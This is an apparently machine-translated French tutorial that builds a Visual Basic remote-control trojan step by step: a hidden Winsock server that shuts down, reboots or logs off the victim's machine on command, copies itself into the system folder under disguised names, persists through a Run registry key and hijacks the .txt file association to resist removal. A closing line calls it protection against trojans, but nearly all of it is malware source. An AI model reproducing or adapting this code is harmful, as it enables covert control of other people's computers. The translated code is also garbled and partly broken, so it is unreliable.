Tout d'abord, créez un nouveau projet nommé Server, créez un nouveau formulaire avec Name comme serveur, ajoutez un contrôle winsock au formulaire, définissez Name sur sckServer et définissez le protocole sur le protocole TCP/ip par défaut.
Ensuite, nous revenons au module Formulaire du serveur et ajoutons le code suivant :
->PRivateSubform_Load()
Avec moi
.sckServer.LocalPort=88917'Port local (haha ! Mon anniversaire !)
.sckServer.Listen'Commencer à écouter
FinPar
FinSub
'Acceptez la demande de connexion du client.
PrivateSubsckServer_ConnectionRequest (ByValrequestIDAsLong)
Avec moi
If.sckServer.State<>sckClosedThen.sckServer.Close
.sckServer.Accept(requestID)
FinPar
FinSub->
Ensuite, créons un programme client : créez un nouveau projet nommé Client, nommez le formulaire Client, ajoutez-y un contrôle winsock, nommé sckClient, et le protocole est le protocole TCP/IP. Ajoutez un autre bouton cmdConnect et ajoutez du code au module de formulaire :
->PrivateSubform_Load()
Avec moi
.sckClient.RemoteHost=127.0.0.1'Définissez l'adresse IP distante Dans cet exemple, définissez-la sur la machine locale.
.sckClient.RemotePort=88917'Le port distant est le même que celui du serveur.
FinPar
FinSub
PrivatesubcmdConnect_Click()
SckClient.Connect
Fin du sous->
À ce stade, lorsque nous cliquons sur le bouton Connecter, nos deux projets peuvent communiquer, mais ils ne sont pas visibles. Vous pouvez ajouter du code à l'événement sckClient_Connect dans le Client : debug.printConnetionsuccessful !
Ce n'est que la première étape, et aucun travail n'est effectué. Ajoutons-leur des fonctionnalités. Par souci de simplicité, cet article n'implémente que quelques petites fonctions : arrêt, redémarrage et déconnexion. OK, commençons !
Créez un nouveau module dans le projet Server avec le nom modApi. Ce module contient certaines fonctions API. Ajoutez les fonctions API suivantes :
->PublicDeclareFunctionExitWindowXXXLibuser32AliasExitWindowXXX(ByValuFlagsAsLong,ByValdwReservedAsLong)AsLong
PublicConstEWX_LOGOFF=0
PublicConstEWX_REBOOT=2
PublicConstEWX_SHUTDOWN=1
PublicDeclareFunctionClipCursorLibuser32AliasClipCursor(lpRectAsAny)AsLong
PublicTypeRECT
GaucheAsLong
TopAsLong
DroitAussiLong
BasAsLong
Type de fin->
Remarque : Dans la programmation entre deux sockets, l'événement important pour la communication est l'événement DataArrival, qui permet de recevoir des données distantes.
Ensuite, placez trois boutons dans le formulaire Client du projet Client, à savoir cmdExit, cmdLogoff et cmdReboot. Ils sont utilisés pour les opérations d’arrêt, de déconnexion et de redémarrage à distance. Ajoutez respectivement les codes suivants :
->PrivateSubcmdExit_Click()
Me.sckClient.SendDataExit
FinSub
PrivateSubcmdLogoff_Click()
Me.sckClient.SendDataLogoff
FinSub
PrivateSubcmdReboot_Click()
Me.sckClient.SendDataReboot
FinSub->
Toutes les requêtes sont adressées au serveur. Allez maintenant dans le projet Serveur : ajoutez l'événement DataArrial de sckServer dans le Serveur pour recevoir la requête du client.
->PrivateSubsckServer_DataArrival (ByValbytesTotalAsLong)
DimstrDataAsString
Avec moi
'Recevoir les informations demandées par le client
.sckServer.GetDatastrData
SélectionnerCasestrData
Sortie de cas
'Fermer
AppelExitWindowXXX(EWX_SHUTDOWN,0)
CasReboot
'Redémarrage
AppelExitWindowXXX(EWX_REBOOT,0)
Déconnexion du dossier
'Déconnexion
AppelExitWindowXXX(EWX_LOGOFF,0)
FinSélectionner
FinPar
FinSub->
D'accord, nous avons maintenant implémenté la fonction, mais pas encore, nous voulons qu'elle s'exécute en coulisses. C'est simple, ajoutez une phrase : me.hide à l'événement form_Load sur le serveur. Heureusement, il est désormais invisible, mais tout le monde sait que le cheval de Troie s'exécute automatiquement dès que l'ordinateur est allumé. Pourquoi et comment y parvenir ? L'ajouter au groupe de démarrage dans le registre ? Oui, bien, viens avec moi !
Revenez à modApi dans le projet Server et ajoutez la fonction API suivante :
->PublicDeclareFunctionRegOpenKeyLibadvapi32.dllAliasRegOpenKeyA(ByValhKeyAsLong,ByVallpSubKeyAsString,phkResultAsLong)AsLong
PublicDeclareFunctionRegSetvalueExLibadvapi32.dllAliasRegSetvalueExA(ByValhKeyAsLong,ByVallpvalueNameAsString,ByValReservedAsLong,ByValdwTypeAsLong,lpDataAsAny,ByValcbDataAsLong)AsLong
PublicDeclareFunctionRegCreateKeyLibadvapi32.dllAliasRegCreateKeyA(ByValhKeyAsLong,ByVallpSubKeyAsString,phkResultAsLong)AsLong
PublicConstREG_BINARY=3
PublicConstREG_SZ=1
PublicConstHKEY_LOCAL_MACHINE=&H80000002
PublicConstHKEY_CLASSES_ROOT=&H80000000->
Un processus qui écrit dans le groupe de démarrage du registre.
->PublicSubStartupGroup()
DimsKeyAsString
DimresultAsLong
DimhKeyIDAsLong
DimsKeyValAsString
sKey=Systrsy'Démarrez la clé dans le groupe et trouvez-en une similaire au fichier système.
sKeyVal=C:/windows/system/systrsy.exe'Le chemin du fichier cheval de Troie Vous pouvez utiliser GetSystemDirectory pour obtenir le chemin du système.
résultat=RegOpenKey(HKEY_LOCAL_MACHINE,_
Logiciel/Microsoft/Windows/CurrentVersion/Exécuter, hKeyID)
Si résultat = 0 Alors
résultat=RegSetvalueEx(hKeyID,sKey,0&,REG_SZ,sKeyVal,Len(sKey) 1)
FinSi
FinSub->
Eh bien, c'est tout. Cependant, y avez-vous déjà pensé, si vous n'êtes pas novice et que vous le supprimez du registre, notre travail acharné ne serait-il pas vain ? Non, vous devez rendre impossible sa suppression même s'il le trouve. Veuillez regarder le code ci-dessous :
->PublicSubWriteToTxt()
DimresultAsLong
DimhKeyIDAsLong
DimskeyAsString
DimskeyValAsString
skey=fichiertxt/shell/open/commande
skeyVal=C:/windows/system/txtView.exe
résultat = RegOpenKey (HKEY_CLASSES_ROOT, skeyVal, hKeyID)
Si résultat = 0 Alors
résultat=RegSetvalueEx(hKeyID,skey,0&,REG_SZ,skeyVal,Len(skeyVal) 1)
FinSi
FinSub->
De nombreux amis ont dû savoir d'un coup d'œil qu'il était initialement associé au fichier txt, ce qui n'est pas mal du tout, mais d'où vient C:/windows/system/txtView.exe. Notre cheval de Troie est C:/windows/system ? /systrsy.exe. C'est le clone de notre cheval de Troie.
Bon, revenez au formulaire form_Load du formulaire Serveur du projet Serveur et ajoutez le code suivant :
->DimsCurrentPathAsString,sSystemDirAsString
sCurrentPath=App.Path&/&App.EXEName&.exe
sRepSystème=C:/windows/système
SurErreurReprendreSuivant
'Copiez le fichier dans Systrsy.exe dans le répertoire système
FileCopysCurrentPath,sSystemDir&/Systrsy.exe
SurErreurReprendreSuivant
Copiez le fichier dans txtView.exe dans le répertoire système
FileCopysCurrentPath,sSystemDir&/txtView.exe->
appel
->CallstartupGroup
AppelÉcrireVersTxt
'Déterminer si le programme est en cours d'exécution
IfApp.PrevInstanceThen
'Quitter si déjà en cours d'exécution.
Fin
FinSi->
Avis:
1. Lorsqu'il s'agit de ports, il est préférable d'utiliser des ports haut de gamme, sinon ils entreront en conflit avec certains ports couramment utilisés.
2. Il est préférable de lire des livres pertinents lorsque vous utilisez VB.NET pour la première fois.
->
Ce qui précède explique comment utiliser Visual Basic pour empêcher les attaques de chevaux de Troie. J'espère que vous vous connaissez tous ainsi que l'ennemi et que vous prenez des précautions avant qu'elles ne se produisent !